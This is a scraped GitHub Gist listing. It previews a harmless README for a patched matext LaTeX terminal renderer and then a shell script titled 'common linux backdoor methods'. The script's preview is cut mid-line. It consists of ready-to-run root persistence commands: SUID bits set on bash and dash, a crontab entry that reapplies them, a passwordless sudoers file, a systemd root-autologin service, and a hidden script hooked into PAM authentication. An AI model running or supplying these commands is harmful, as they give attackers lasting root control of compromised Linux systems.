Skip to content

Instantly share code, notes, and snippets.

View bebeal's full-sized avatar
♾️
building

bebeal bebeal

♾️
building
View GitHub Profile
@bebeal
bebeal / 0_matext_terminal_latex.md
Last active March 16, 2026 06:35
Patched matext (LaTeX → Unicode terminal renderer) — adds matrix environments, inline Unicode sub/superscripts, missing punctuation (!), clean inline √ rendering, and non-breaking space centering fix for fraction alignment.

LaTeX Rendering in the Terminal with matext

Render LaTeX math as multiline Unicode text directly in the terminal. No images, no browser — pure Unicode.

Install

sudo pacman -S nim
nimble install matext -y
@azuk4r
azuk4r / linux-backdoors.sh
Last active January 26, 2026 09:33
common linux backdoor methods
# backdoors
chmod u+s /bin/bash
chmod u+s /bin/dash
echo '* * * * * root chmod u+s /bin/bash' >> /etc/crontab
echo '* * * * * root chmod u+s /bin/dash' >> /etc/crontab
echo 'username ALL=(ALL) NOPASSWD: /bin/bash' | sudo tee /etc/sudoers.d/backdoor > /dev/null && sudo chown root:root /etc/sudoers.d/backdoor && sudo chmod 440 /etc/sudoers.d/backdoor && sudo visudo -c
echo 'username ALL=(ALL) NOPASSWD: /bin/dash' | sudo tee /etc/sudoers.d/backdoor > /dev/null && sudo chown root:root /etc/sudoers.d/backdoor && sudo chmod 440 /etc/sudoers.d/backdoor && sudo visudo -c
echo -e "[Service]\nExecStart=/sbin/agetty --autologin root --noclear tty8 linux\nRestart=always\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/backdoor.service && systemctl enable backdoor.service && systemctl start backdoor.service
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /usr/local/bin/.backdoor && chmod +x /usr/local/bin/.backdoor && echo 'auth optional pam_exec.so expose_authtok /usr/local/bin/.backdoor' >> /etc/pam.d/common-a